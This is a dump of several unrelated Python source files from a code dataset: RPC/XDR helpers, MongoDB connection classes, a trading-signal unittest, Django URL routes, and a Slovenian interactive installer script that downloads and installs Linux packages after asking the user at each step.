self.up_proc(up)\n\n def type_hint(self) -> str:\n if self.python_type is None:\n return \"None\"\n return self.python_type.__name__\n\n\nclass Enum(Packable, enum.IntEnum):\n @classmethod\n def type_hint(cls) -> str:\n return f\"typing.Union[{cls.__name__}, int]\"\n\n @classmethod\n def pack(cls, p: xdrlib.Packer, val):\n return p.pack_int(val)\n\n @classmethod\n def unpack(cls, up: xdrlib.Unpacker):\n return cls(up.unpack_int())\n\n\n# r_ prefix to avoid shadowing Python names\nr_uint = BaseType(xdrlib.Packer.pack_uint, xdrlib.Unpacker.unpack_uint, int)\nr_int = BaseType(xdrlib.Packer.pack_int, xdrlib.Unpacker.unpack_int, int)\nr_bool = BaseType(xdrlib.Packer.pack_bool, xdrlib.Unpacker.unpack_bool, bool)\nr_void = BaseType(lambda p, v: None, lambda up: None, None)\nr_hyper = BaseType(xdrlib.Packer.pack_hyper, xdrlib.Unpacker.unpack_hyper, int)\nr_uhyper = BaseType(xdrlib.Packer.pack_uhyper, xdrlib.Unpacker.unpack_uhyper, int)\nr_float = BaseType(xdrlib.Packer.pack_float, xdrlib.Unpacker.unpack_float, float)\nr_double = BaseType(xdrlib.Packer.pack_double, xdrlib.Unpacker.unpack_double, float)\nr_opaque = BaseType(xdrlib.Packer.pack_opaque, xdrlib.Unpacker.unpack_opaque, bytes)\nr_string = r_opaque\n# XXX should add quadruple, but no direct Python support for it.\n\n\nclass Proc:\n \"\"\"Manage a RPC procedure definition.\"\"\"\n\n def __init__(self, name, ret_type, arg_types):\n self.name = name\n self.ret_type: Packable = ret_type\n self.arg_types: typing.List[Packable] = arg_types\n\n def __str__(self):\n return \"Proc: %s %s %s\" % (self.name, str(self.ret_type),\n str(self.arg_types))\n\n\ndef addr_to_rpcbind(host: str, port: int) -> bytes:\n # I have literally never seen this address representation\n # outside of RPCBind and I don't like it.\n return f\"{host}.{port >> 8}.{port & 0xFF}\".encode(\"utf8\")\n\n\ndef rpcbind_to_addr(val: bytes) -> typing.Tuple[str, int]:\n # I have literally never seen this address representation\n # outside of RPCBind and I don't like it.\n host, port_hi, port_lo = val.decode(\"utf8\").rsplit(\".\", 2)\n return host, ((int(port_hi) << 8) | int(port_lo))\n","sub_path":"shenaniganfs/rpchelp.py","file_name":"rpchelp.py","file_ext":"py","file_size_in_byte":11810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"77401784","text":"\"\"\"this file contains database functions for creating and retrieving documents\nfrom Norton's MongoDB database of products, customers, and rental data\"\"\"\n\n#pylint: disable=logging-fstring-interpolation,line-too-long\n\nimport logging\nimport motor.motor_asyncio\nfrom types import coroutine\nfrom pymongo import MongoClient\nfrom misc_utils import func_timer\n\n# FILE_LOG_LEVEL = logging.NOTSET # 0\n# FILE_LOG_LEVEL = logging.DEBUG # 10\n# FILE_LOG_LEVEL = logging.INFO # 20\nFILE_LOG_LEVEL = logging.ERROR # 50\n\nlogging.basicConfig(format=\"%(asctime)s \"\n \"%(levelname)s \"\n \"%(filename)s.%(funcName)s():%(lineno)d \"\n \"> %(message)s\")\n\nlogger = logging.getLogger(__name__)\nif logger.getEffectiveLevel() > FILE_LOG_LEVEL:\n logger.setLevel(FILE_LOG_LEVEL)\n\n\nclass MongoDBConnection:\n \"\"\"\"MongoDB Connection\n must use 127.0.0.1 on windows\n pip install pymongo\n \"\"\"\n\n def __init__(self, host='127.0.0.1', port=27017):\n \"\"\" be sure to use the ip address not name for local windows\"\"\"\n self.host = host\n self.port = port\n self.connection = None\n\n def __enter__(self):\n self.connection = MongoClient(self.host, self.port)\n logger.debug(f\"Database connected at {self.connection.address}\")\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n logger.debug(f\"Database closed at {self.connection.address}\")\n self.connection.close()\n\n\nclass MongoDBConnectionAsync:\n \"\"\"\"MongoDB Connection\n must use 127.0.0.1 on windows\n pip install pymongo\n \"\"\"\n\n def __init__(self, host='127.0.0.1', port=27017):\n \"\"\" be sure to use the ip address not name for local windows\"\"\"\n self.host = host\n self.port = port\n self.connection = None\n\n def __enter__(self):\n self.connection = motor.motor_asyncio.AsyncIOMotorClient(self.host, self.port)\n logger.debug(f\"Database connected at {self.connection.address}\")\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n logger.debug(f\"Database closed at {self.connection.address}\")\n self.connection.close()\n\n","sub_path":"students/tim_lurvey/lesson07/assignment/norton_db_utils.py","file_name":"norton_db_utils.py","file_ext":"py","file_size_in_byte":2215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"641953541","text":"import unittest\n\nfrom acquisition import tx, quote_db\nfrom indicator import compute_indicator\nfrom acquisition.quote_db import get_price_info_df_file_day\nfrom pointor import signal, signal_finance\n\n\nclass SignalTestCase(unittest.TestCase):\n def setUp(self):\n self.code = '300369'\n self.period = 'day' # 'm1' # 'day'\n count = 250 * 5\n # self.quote = get_price_info_df_file_day(code, 250, '2021-5-13', 'data/300502.csv')\n # self.quote = tx.get_kline_data(code, self.period, count)\n self.quote = quote_db.get_price_info_df_db(self.code, days=count, period_type='D')\n\n def tearDown(self):\n pass\n\n def test_compute_signal(self):\n quote = signal.compute_signal(self.code, self.period, self.quote)\n # print(quote[:50])\n # print(quote[-50:])\n print([column for column in quote.columns if 'signal_e' in column])\n\n def test_one_signal(self):\n quote = signal_finance.signal_enter(self.quote, period=self.period)\n print(quote)\n\n\ndef suite():\n suite = unittest.TestSuite()\n suite.addTest(SignalTestCase('test_compute_signal'))\n return suite\n\n\nif __name__ == '__main__':\n runner = unittest.TextTestRunner()\n runner.run(suite())","sub_path":"test/test_signal.py","file_name":"test_signal.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"4888383","text":"from django.urls import path\n\nfrom . import views\n\n# Creation of all of the URL patterns, their extensions, and functionalities\nurlpatterns = [\n path('technology', views.technology),\n path('techsearchresults', views.searchTechnology),\n path('sports', views.sports),\n path('sportssearchresults', views.searchSports),\n path('entertainment', views.entertainment),\n path('entertainmentsearchresults', views.searchEntertainment),\n path('topinUS', views.home),\n path('USsearchresults', views.searchTopUS),\n path('', views.titlepage)\n\n]\n","sub_path":"newsweb/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"317896643","text":"#!/usr/bin/env python\nfrom myTUI import Form, Edit, Text, cls, systemCmd, putText, setCursor\nimport sys\nimport os\n\ncls()\n# PROGRAMI ##################################################\n# Programa - AptCommand - DEB pachage - InstallFromSource\n# todo...\n\nuser = os.path.expanduser('~')\ndownload_dir = user + '/Downloads/'\nopt_dir = '/opt/'\nmenu_desktop = '/usr/share/applications/'\nprofile_dir = '/etc/profile.d/'\nVsiProgrami = []\n\n## REVISION ####################################################\nversion = 3.3\n\t\t# dodan alias ll za ls -alF\n\t\t# install funkcija razbita na podfunkcije...\n\t## version = 3.1\n\t\t# dodano arduino.desktop\n\t##version = 3.0\n\t\t# dodan concky :)\n\t## version = 2.9.1\n\t\t# dodan program za avtomatsko kreiranje menuja\n\t\t# v OpenBox okolju (za BunsenLab) \n\t## version = 2.9\n\t\t# dodana pot za 32 bit ... ker se nekateri programi\n\t\t# programi razlikujejo... tako za TAR in DEB.\n\t## version = 2.8\n\t\t# program.desktop se naredi le ce se ni tega file-a\t\n\t## version = 2.7\n\t\t## popravljeno dodajanje v $PATH tako,\n\t\t# da se to doda v ~/.bashrc in se prej pregledamo\n\t\t# ce besedilo slucajno ze obstaja\n\t\t## popravljeno vnasanje program.desktop tako,\n\t\t# da te sedaj vprasa po SUDO... in ni potrebno vec\n\t\t# cele skripte zaganjati s sudo ukazom...\n\t## version = 2.6\n\t\t# popravljen link 32bit za sublime...\t\n\t## version = 2.5\n\t\t# popravljene so bile nastavitve za instalacijo Arduinota\n\t\t# sedaj se odTara v /opt/ in doda PATR... in to = to\n\t## version = 2.4\n\t\t# dodani 32 paketi za nekatere programe...\n\t## version = 2.3\n\t\t# narejena podpora za tar tako, da uposteva 64 in 32 bit arhitekturo\n\t## version = 2.2\n\t\t# narejena podpora za 64 / 32 bit za DEB packages...\n## BUGS REPORT #################################################\n\t## issue:35\n\t\t# lahko bi preverjal katera verzija Linuxsa je namescena\n\t\t# cat /etc/*ease\n\t## issue:34 SOLVED!\n\t\t# skripto je potrebno zagnati kot \"root\", ker te za nekatere\n\t\t# ukaze ne vprasa po sudo geslu... to se da resiti.. navodila\n\t\t# na : hm/ne/vem/vec.kje\n\t## issue: 33\n\t\t# ni se programa LibreOffice\n\t## issue: 32 \n\t\t# ni se programa neofetch\n\t\t#\t\n\n## POSTOPEK INSTALACIJE ########################################\nclass NovProgram(object):\n\t\"\"\"docstring for NovProgram\"\"\"\n\tdef __init__(self):\n\t\tsuper(NovProgram, self).__init__()\n\t\tself.program_name = ''\n\t\tself.description = ''\n\t\tself.pre_install_cmds = []\n\t\tself.apt_get_name = ''\n\t\tself.check_version_cmd = ''\n\t\tself.deb_package_path = ''\n\t\tself.deb_package_file = ''\n\t\tself.deb_package_path_32 = ''\n\t\tself.deb_package_file_32 = ''\n\t\tself.deb_package_path_64 = ''\n\t\tself.deb_package_file_64 = ''\n\t\tself.tar_package_path = ''\n\t\tself.tar_package_file = ''\n\t\tself.tar_package_path_32 = ''\n\t\tself.tar_package_file_32 = ''\n\t\tself.tar_package_path_64 = ''\n\t\tself.tar_package_file_64 = ''\n\t\tself.tar_destination = ''\n\t\tself.tar_extra_cmds = [] \t#extra commande, ce je se kaj za narest...\n\t\tself.extra_cmd = []\t\t\t#se ene extra cmd ... ce je se kaj...\n\t\tself.program_desktop = []\t#vsebina v program.desktop\n\t\tself.add_path_profile_variable = '' \n\t\tself.add_bash_parameter= []\n\t\tself.notes = ''\n\t\tself.arhitecture_64bit = False\n\t\tself.arhitecture_32bit = False\n\t\tself.arhitecture_bit_num = 0\n\t\tif sys.maxsize > 2**32 :\n\t\t\tself.arhitecture_64bit = True\n\t\t\tself.arhitecture_bit_num = 64\n\t\telse:\n\t\t\tself.arhitecture_32bit = True\n\t\t\tself.arhitecture_bit_num = 32\n\n\tdef install_apt_cmd(self):\n\t\t## Instal from special apt-get command ... #####################################\n\t\tif len(self.pre_install_cmds) != 0:\n\t\t\tfor pre_cmd in self.pre_install_cmds:\n\t\t\t\tkey = raw_input('--> execute:'+pre_cmd+ ' [y/n]')\n\t\t\t\tif key == 'y':\n\t\t\t\t\tos.system(pre_cmd)\n\t\tif self.apt_get_name != '':\n\t\t## Instal from clasical apt-get commend... #####################################\n\t\t\t#ce smo vpisali apt-get podatke potem...\n\t\t\tsys.stdout.write('--> Preverjam apt-get paket: ' + self.apt_get_name +'\\n' )\n\t\t\tos.system('apt-cache policy ' + self.apt_get_name)\n\t\t\tkey = raw_input('--> Namestim preko apt-get... ? [y/n]')\n\t\t\tif key == 'y':\n\t\t\t\tos.system('sudo apt-get install ' + self.apt_get_name)\n\n\tdef install_DEB_package(self):\n\t\t## Install form DEB package ###################################################\n\t\t#if self.deb_package_file != '':\n\t\tif (self.deb_package_file !='' or\n\t\t(self.deb_package_file_64 != '' and self.arhitecture_64bit ) or\n\t\t(self.deb_package_file_32 != '' and self.arhitecture_32bit )):\n\t\t\t#Najprej poglejmo kaksno arhitekturo imamo\n\t\t\tif (self.deb_package_file_64 != '' and self.arhitecture_64bit ):\n\t\t\t\tsys.stdout.write('--> Kaze, da imate 64bit arhitekturo...\\n')\n\t\t\t\ttemp_deb_package_path = self.deb_package_path_64\n\t\t\t\ttemp_deb_package_file = self.deb_package_file_64\n\t\t\telif (self.deb_package_file_32 != '' and self.arhitecture_32bit):\n\t\t\t\tsys.stdout.write('--> Kaze, da imate 32bit arhitekturo...\\n')\n\t\t\t\ttemp_deb_package_path = self.deb_package_path_32\n\t\t\t\ttemp_deb_package_file = self.deb_package_file_32\n\t\t\telse:\n\t\t\t\tsys.stdout.write('--> Ne glede na arhitekturo...\\n')\n\t\t\t\ttemp_deb_package_path = self.deb_package_path\n\t\t\t\ttemp_deb_package_file = self.deb_package_file\n\t\t\t\t#-------------------------------------------------\n\t\t\t#ce je vpisan deb paket potem ...\n\t\t\t#najprej preveri, ce ga slucajno ze imamo v Downloadu...\n\t\t\t#ce ne pojdi na internet...\n\t\t\tif not os.path.isfile(download_dir+temp_deb_package_file):\n\t\t\t\t#ce file ne obstaja gremo gledat na internet...\n\t\t\t\tsys.stdout.write('--> Preverjam DEB package...\\n')\n\t\t\t\tos.system('wget --spider -v '+temp_deb_package_path+temp_deb_package_file)\n\t\t\t\tkey = raw_input('--> Prenesi v '+download_dir+ '? [y/n]:')\n\t\t\t\tif key == 'y':\n\t\t\t\t\tos.system('wget '+ temp_deb_package_path + temp_deb_package_file + ' --directory-prefix='+download_dir )\n\t\t\t#pokazi direktorij Download\n\t\t\tif os.path.isfile(download_dir+temp_deb_package_file):\n\t\t\t\tsys.stdout.write('--> Nasel:\\n')\n\t\t\t\tos.system('ls -all ' + download_dir)\n\t\t\t\tkey = raw_input('--> Namesti DEB package: ' + temp_deb_package_file + ' [y/n]:')\n\t\t\t\tif key == 'y':\n\t\t\t\t\tos.system('sudo dpkg -i ' + download_dir + temp_deb_package_file)\n\t\t\t\t\tsys.stdout.write('--> Namestitev koncana...\\n')\t\n\t\t\t\tkey = raw_input('--> Izbrisi datoteko:'\n\t\t\t\t\t\t\t\t+ download_dir + temp_deb_package_file\n\t\t\t\t\t\t\t\t+ ' [y/n]:')\n\t\t\t\tif key == 'y':\n\t\t\t\t\tos.system('rm ' + download_dir + temp_deb_package_file)\n\t\t\t\t\tsys.stdout.write('--> Izprisano:\\n')\n\t\t\t\t\tos.system('ls -all ' + download_dir)\n\t\t\telse:\n\t\t\t\tsys.stdout.write('--> Paketa: '+ temp_deb_package_file +' nismo nasli...\\n')\n\n\tdef install_TAR_package(self):\n\t\t## Install form TAR **** special !!! ###########################################\n\t\tif (self.tar_package_file !='' or\n\t\t(self.tar_package_file_64 != '' and self.arhitecture_64bit ) or\n\t\t(self.tar_package_file_32 != '' and self.arhitecture_32bit )):\n\t\t\t#Najprej poglejmo kaksno arhitekturo imamo\n\t\t\tif (self.tar_package_file_64 != '' and self.arhitecture_64bit ):\n\t\t\t\tsys.stdout.write('--> Kaze, da imate 64bit arhitekturo...\\n')\n\t\t\t\ttemp_tar_package_path = self.tar_package_path_64\n\t\t\t\ttemp_tar_package_file = self.tar_package_file_64\n\t\t\telif (self.tar_package_file_32 != '' and self.arhitecture_32bit):\n\t\t\t\tsys.stdout.write('--> Kaze, da imate 32bit arhitekturo...\\n')\n\t\t\t\ttemp_tar_package_path = self.tar_package_path_32\n\t\t\t\ttemp_tar_package_file = self.tar_package_file_32\n\t\t\telse:\n\t\t\t\tsys.stdout.write('--> Ne glede na arhitekturo...\\n')\n\t\t\t\ttemp_tar_package_path = self.tar_package_path\n\t\t\t\ttemp_tar_package_file = self.tar_package_file\n\t\t\t#Najprej zloadas tar file ... izi bizi...\n\t\t\tif not os.path.isfile(download_dir+self.tar_package_file):\n\t\t\t\t#ce file ne obstaja gremo gledat na internet...\n\t\t\t\tsys.stdout.write('--> Preverjam TAR package...\\n')\n\t\t\t\tos.system('wget --spider -v '+temp_tar_package_path+temp_tar_package_file)\n\t\t\t\tkey = raw_input('--> Prenesi v '+download_dir+ '? [y/n]:')\n\t\t\t\tif key == 'y':\n\t\t\t\t\tos.system('wget '+ temp_tar_package_path + temp_tar_package_file + ' --directory-prefix='+download_dir )\n\t\t\t#pokazi direktorij Download\n\t\t\tif os.path.isfile(download_dir+temp_tar_package_file):\n\t\t\t\tsys.stdout.write('--> Nasel:\\n')\n\t\t\t\tos.system('ls -all ' + download_dir)\n\t\t\t\tif self.tar_destination == '':\n\t\t\t\t\tkey = raw_input('--> Razpakiraj TAR package: '\n\t\t\t\t\t\t\t\t\t+ temp_tar_package_file +\n\t\t\t\t\t\t\t\t\t' v ' + download_dir + '? [y/n]:')\n\t\t\t\t\tif key == 'y':\n\t\t\t\t\t\tos.system('tar -xvf '+ download_dir+temp_tar_package_file \n\t\t\t\t\t\t\t\t+' --directory '+ download_dir)\n\t\t\t\telse:\n\t\t\t\t\tkey = raw_input('--> Razpakiraj TAR package: '\n\t\t\t\t\t\t\t\t\t+ temp_tar_package_file +\n\t\t\t\t\t\t\t\t\t' v ' + self.tar_destination + '? [y/n]:')\n\t\t\t\t\tif key == 'y':\n\t\t\t\t\t\tif not os.path.isdir(self.tar_destination):\n\t\t\t\t\t\t\t#ce dir se ne obstaja ga ustvari...\n\t\t\t\t\t\t\tos.system('sudo mkdir ' + self.tar_destination)\n\t\t\t\t\t\tos.system('sudo tar -xvf '+download_dir+temp_tar_package_file\n\t\t\t\t\t\t\t\t\t+' --directory '+ self.tar_destination)\n\t\t\t\t# Izbrisi kar smo zloadali... da pocistimo za seboj...\n\t\t\t\tkey = raw_input('--> Izbrisi datoteko:'\n\t\t\t\t\t\t\t\t\t+ download_dir + temp_tar_package_file\n\t\t\t\t\t\t\t\t\t+ ' [y/n]:')\n\t\t\t\tif key == 'y':\n\t\t\t\t\tos.system('rm ' + download_dir + temp_tar_package_file)\n\t\t\t\t\tsys.stdout.write('--> Izbrisano:\\n')\n\t\t\t\t\tos.system('ls -all ' + download_dir)\n\t\t\telse:\n\t\t\t\tsys.stdout.write('--> Datoteke: '+download_dir+temp_tar_package_file+' nismo nasli...\\n')\n\n\t\t\t## INSTALATION SOURCE CODE #######################################################\n\t\t\t\t# ok sedaj naj bi bilo razpakirano... kjerkoli pac ze...\n\t\t\t\t#ja nic zej pa ce je treba se kako EXTRA CMD narest!!!\n\t\t\t\t#naprimer kak make, make install, itd\n\t\t\t\t#skratka izvrsimo komande, ki jih najdemo v :\n\t\t\t\t#self.tar_extra_cmds = ['make','make install']\n\t\t\tif len(self.tar_extra_cmds) != 0:\t\n\t\t\t\tfor extra_cmd in self.tar_extra_cmds:\n\t\t\t\t\tkey = raw_input('--> execute:'+extra_cmd+ ' [y/n]')\n\t\t\t\t\tif key == 'y':\n\t\t\t\t\t\tos.system(extra_cmd)\n\n\tdef add_PATH_parameter(self):\n\t\t## dodajanje v path script #######################################################\t\t\t\n\t\t#sudo sh -c 'echo \"export PATH=\\$PATH:/opt/arduino-1.8.1\" >> /etc/profile.d/arduino_path.sh'\t\n\t\tif len(self.add_path_profile_variable) != 0:\n\t\t\t# ce in nastavljeno pot... to dodamo v $PATH\n\t\t\tkey = raw_input('--> Dodaj pot:'+ self.add_path_profile_variable + ' v $PATH ? [y/n]')\n\t\t\tif key == 'y':\n\t\t\t\tif (open(user + '/.bashrc', 'r').read().find(self.add_path_profile_variable)>0):\n\t\t\t\t\tsys.stdout.write('--> Pot: '+ self.add_path_profile_variable +' ze dodana v : '+ user + '/.bashrc...\\n')\n\t\t\t\telse:\n\t\t\t\t\twith open(user + '/.bashrc','a') as f:\n\t\t\t\t\t\tf.write('\\n#dodajanje '+self.program_name+' poti v path\\n')\n\t\t\t\t\t\tf.write('export PATH=$PATH:'+self.add_path_profile_variable+'\\n')\n\t\t\t\t\t\tf.close()\n\n\tdef add_BASH_parameter(self):\n\t\tif len(self.add_bash_parameter) != 0:\n\t\t\t# ce in nastavljeno pot... to dodamo v $PATH\n\t\t\tfor text in self.add_bash_parameter:\n\t\t\t\tkey = raw_input('--> Dodaj text: '+ text + ' v ~/.bashrc ? [y/n]')\n\t\t\t\tif key == 'y':\n\t\t\t\t\tif (open(user + '/.bashrc', 'r').read().find(text)>0):\n\t\t\t\t\t\tsys.stdout.write('--> Text: '+ text +' ze dodano v : '+ user + '/.bashrc...\\n')\n\t\t\t\t\telse:\n\t\t\t\t\t\t# tu naj gremo cez vse nize v parametru...\n\t\t\t\t\t\twith open(user + '/.bashrc','a') as f:\n\t\t\t\t\t\t\tf.write(text)\n\t\t\t\t\t\tf.close()\n\n\tdef run_bash_cmds(self):\n\t\t## Post INSTALL operations #####################################################\n\t\tif len(self.extra_cmd) != 0:\n\t\t\tfor extra_cmd in self.extra_cmd:\n\t\t\t\tkey = raw_input('--> execute:'+extra_cmd+ ' [y/n]')\n\t\t\t\tif key == 'y':\n\t\t\t\t\tos.system(extra_cmd)\n\t\n\tdef make_destop_file(self):\n\t\t## Dodajanje program.desktop datoteke v /usr/share/applications/ ################\n\t\tif len(self.program_desktop) != 0:\n\t\t\t# test ce je kaj not: sys.stdout.write(self.program_desktop[0])\n\t\t\t# sudo sh -c 'echo \"export PATH=\\$PATH:/opt/arduino-1.8.1\" >> /etc/profile.d/arduino_path.sh'\n\t\t\tkey = raw_input('--> Naredi menu:'+ menu_desktop + self.program_name+ '.desktop [y/n]')\n\t\t\tif key == 'y':\n\t\t\t\t#naredi le ce fajl ne obstaja...\n\t\t\t\tif not os.path.isfile(menu_desktop + self.program_name+ '.desktop'):\n\t\t\t\t\tfor menu in self.program_desktop:\n\t\t\t\t\t\tsudo_txt=[]\n\t\t\t\t\t\tsudo_txt.append('sudo sh -c ')\n\t\t\t\t\t\tsudo_txt.append(\"'echo \")\n\t\t\t\t\t\tsudo_txt.append('\"'+ menu + '\"')\n\t\t\t\t\t\tsudo_txt.append(\" >> \"+ menu_desktop + self.program_name + \".desktop'\")\n\t\t\t\t\t\t#sys.stdout.write(sudo_txt[0]+sudo_txt[1]+sudo_txt[2]+sudo_txt[3])\n\t\t\t\t\t\tos.system(sudo_txt[0]+sudo_txt[1]+sudo_txt[2]+sudo_txt[3])\n\t\n\tdef version_check(self):\n\t\t## KONEC INSTALACIJE samo se navodila in verzija check! ########################\t\t\n\t\tif self.check_version_cmd != '':\n\t\t\t#ce smo vpisali preverjanje verzije -> POTEM\n\t\t\tsys.stdout.write('--> Preverjam verzijo...\\n')\n\t\t\tos.system(self.check_version_cmd)\n\t\t\n\tdef show_notes(self):\n\t\tif self.notes != '':\n\t\t\tsys.stdout.write(self.notes+'\\n')\n\n\tdef install(self):\n\t\tsys.stdout.write(\t '###########################################################\\n'\n\t\t\t\t\t\t\t+'## Postopek instalacije programa \\n'\n\t\t\t\t\t\t\t+'## ' + self.program_name+'\\n'\n\t\t\t\t\t\t\t+'-----------------------------------------------------------\\n')\n\t\tif self.description != '':\n\t\t\tsys.stdout.write(self.description+'\\n'\n\t\t\t\t\t\t\t+'###########################################################\\n')\n\t\tkey = raw_input('--> Nadaljuj z namestitvijo? [y/n]')\n\t\tif key == 'y':\n\t\t\tself.install_apt_cmd()\n\t\t\tself.install_DEB_package()\t\n\t\t\tself.install_TAR_package()\n\t\t\tself.make_destop_file()\n\t\t\tself.add_PATH_parameter()\n\t\t\tself.run_bash_cmds()\n\t\t\tself.add_BASH_parameter()\n\t\t\tself.version_check()\n\t\t\tself.show_notes()\t\t\n\t\t\tsys.stdout.write('--> Pritisni [ENTER] za nadaljevanje...\\n')\n\n## DEFINICIJA PROGRAMOV ZA INSTALACIJO #########################\ndef Install_programms():\n## HELP HELP HELP HELP HELP HELP HELP HELP HELP HELP HELP #####\n\t#global Primer_programa\n\t#Primer_programa = NovProgram()\n\t#Primer_programa.program_name = ''\n\t# \tPROGRAME_NAME - ime programa, priporoca se, da je brez presledkov,\n\t# \tta besedlni niz se uporabi za prikaz imena programa v menu-ju in\n\t# \ttudi za ime datoteke *.desktop (/usr/share/applications/ime_programa.desktop).\n\t#\tprimer uporabe:\n\t#\tnovProgram.program_name='firefox'\t\t\t\t\t\n\t#Primer_programa.description = ''\n\t# \tDESCRIPTON - string se uporablja za nekaj uvodnega besedila v menuju.\n\t#\tprimer uporabe:\n\t#\tnovProgram.description=\t'Ta program se uporablja za pisanje besedil.\\n Uporabljamo'\\\n\t#\t\t\t\t'pa ga lahko tudi ta urejanje nastavitev...' \n\t#Primer_programa.pre_install_cmds = []\t\t\t\t\t\n\t#\tPRE_INSTALL_CMDS - niz stringov se izvrsi kakor ce bi jih vpisovali v terminal\n\t#\teden za drugim. Izvrsijo se pred vsemi ostalimi ukazi (apt-get install, deb, tar).\n\t#\tMed vsakim navedenim nizom nas program tudi vprasa ali zelimo izvrsiti ukaz [y/n].\n\t#\tprimer uporabe:\n\t#\tnovProgram.pre_install_cmds = [\t'sudo apt-get update',\n\t#\t\t\t\t\t\t\t\t\t'sudo apt-get upgrade']\n\t#Primer_programa.apt_get_name = ''\n\t#\tAPT_GET_NAME - to ime se uporabi v ukazu sudo apt-get install {apt_get_name}.\n\t#\tPredno se izvede ta ukaz gremo pogledat, katera verzija je na razpolago z\n\t#\tukazom: sudo apt-cache policy. Tako se uporaabnik lahko odloci ali bo namestil\n\t#\tprogram s tem ukazom ali ne.\n\t#\tprimer uporabe:\n\t#\tnovProgram.apt_get_name = 'nano'\n\t#Primer_programa.deb_package_path = ''\n\t#\tDEB_PACKAGE_PATH - pot datoteke na kateri se nahaja *deb paket. Ta se uporablja\n\t#\tv primeru, ko vrsta arhitekture ni pomembna ali pa paket ne podpira razlicnih\n\t#\tarhitektur.\n\t#\tprimer uporabe:\n\t#\tnovProgram.deb_package_path = 'https://download.sublimetext.com/'\n\t#Primer_programa.deb_package_file = ''\n\t#\tDEB_PACKAGE_FILE - ime datoteke, ki se nahaja na prej omenjeni poti {deb_package_path}.\n\t#\tTa string v tej spremenljivki se uporablja tudi za instalacijo deb paketa:\n\t#\tsudo dpkg -i {deb_package_file}. Presnete datoteke se na koncu postopka tudi izbrisejo.\n\t#\tprimer uporabe:\n\t#\tnovProgram.deb_package_file = 'sublime-text_build-all.deb'\n\t#Primer_programa.deb_package_path_32 = ''\n\t#\tDEB_PACKAGE_PATH_32 - enako kot pri {deb_package_path}, le da se *.deb paket namesti le\n\t#\tce imate 32-bitni sistem. \n\t#Primer_programa.deb_package_file_32 = ''\n\t#\tDEB_PACKAGE_FILE_32 - enako kot pri {deb_package_path}, le da se *.deb paket namesti le\n\t#\tce imate 32-bitni sistem. \n\t#Primer_programa.deb_package_path_64 = ''\n\t#\tDEB_PACKAGE_PATH_64 - enako kot pri {deb_package_path}, le da se *.deb paket namesti le\n\t#\tce imate 64-bitni sistem. \n\t#Primer_programa.deb_package_file_64 = ''\n\t#\tDEB_PACKAGE_FILE_64 - enako kot pri {deb_package_path}, le da se *.deb paket namesti le\n\t#\tce imate 64-bitni sistem. \n\t#Primer_programa.tar_package_path = ''\n\t#\tTAR_PACKAGE_PATH - pot datoteke na kateri se nahaja *.tar.gz ali *.tar.xz paket. Ta se\n\t#\tuporablja v primeru, ko vrsta arhitekture ni pomembna ali pa paket ne podpira razlicnih\n\t#\tarhitektur.\n\t#\tprimer uporabe:\n\t#\tnovProgram.tar_package_path = 'https://qcad.org/archives/qcad/'\n\t#Primer_programa.tar_package_file = ''\n\t#\tTAR_PACKAGE_FILE - ime datoteke, ki se nahaja na prej omenjeni poti {tar_package_path}.\n\t#\tTa string v tej spremenljivki se uporablja tudi za razpakiranje *.tar paketa:\n\t#\ttar -xvf '+ download_dir+{tar_package_file}. Datoteke se razpakirajo v ~/Download/, ali\n\t#\tpa pot lahko tudi posebej dolocite v spremenljivki {tar_destination}. Presnete datoteke\n\t#\tse na koncu postopka tudi izbrisejo.\n\t#\tprimer uporabe:\n\t#\tnovProgram.tar_package_file = 'sublime-text_build-all.tar.gz'\n\t#Primer_programa.tar_package_path_32 = ''\n\t#\tTAR_PACKAGE_PATH_32 - enako kot pri {tar_package_path}, le da se *.tar.* paket namesti le\n\t#\tce imate 32-bitni sistem. \n\t#Primer_programa.tar_package_file_32 = ''\n\t#\tTAR_PACKAGE_FILE_32 - enako kot pri {tar_package_file}, le da se *.tar.* paket namesti le\n\t#\tce imate 32-bitni sistem. \n\t#Primer_programa.tar_package_path_64 = ''\n\t#\tTAR_PACKAGE_PATH_64 - enako kot pri {tar_package_path}, le da se *.tar.* paket namesti le\n\t#\tce imate 64-bitni sistem. \n\t#Primer_programa.tar_package_file_64 = ''\n\t#\tDEB_PACKAGE_FILE_64 - enako kot pri {deb_package_path}, le da se *.deb paket namesti le\n\t#\tce imate 64-bitni sistem. \n\t#Primer_programa.tar_destination = ''\n\t#\tTAR_DESTINATION - direktorij, kamor zelite, da se *.tar.* paket od-tara. Ce direktorij se\n\t#\tne obstaja, da bo instalacija sama ustvarila...\n\t#\tprimer uporabe:\n\t#\tnovProgram.tar_destiation = '/opt/'\n\t#Primer_programa.tar_extra_cmds = []\n\t#\tTAR_EXTRA_CMDS - Po koncanem razpakiranju TAR datoteke lahko naredite se kake cmd, kot\n\t# \tbi jih pisali v terminalu: naprimer kake instalacije ali kaj podobnega...\n\t#\tprimer uporabe:\n\t#\tnovProgram.tar_extra_cmds =['sudo rm /usr/bin/nmon',\n\t#\t\t\t\t\t\t\t\t'sudo chmod 777 '+opt_dir+'nmon/'+'nmon_x86_debian8',\n\t#\t\t\t\t\t\t\t\t'sudo ln -s '+opt_dir+'nmon/'+'nmon_x86_debian8 /usr/bin/nmon']\n\t#Primer_programa.program_desktop = []\n\t#\tPROGRAM_DESKTOP - niz stringov, ki se bo vpisal v {program_name}.desktop file.\n\t#\tprimer uporabe:\n\t#\tArduino.program_desktop = [\t'[Desktop Entry]',\n\t#\t\t\t\t\t\t\t\t'Version=1.0',\n\t#\t\t\t\t\t\t\t\t'Name=Arduino 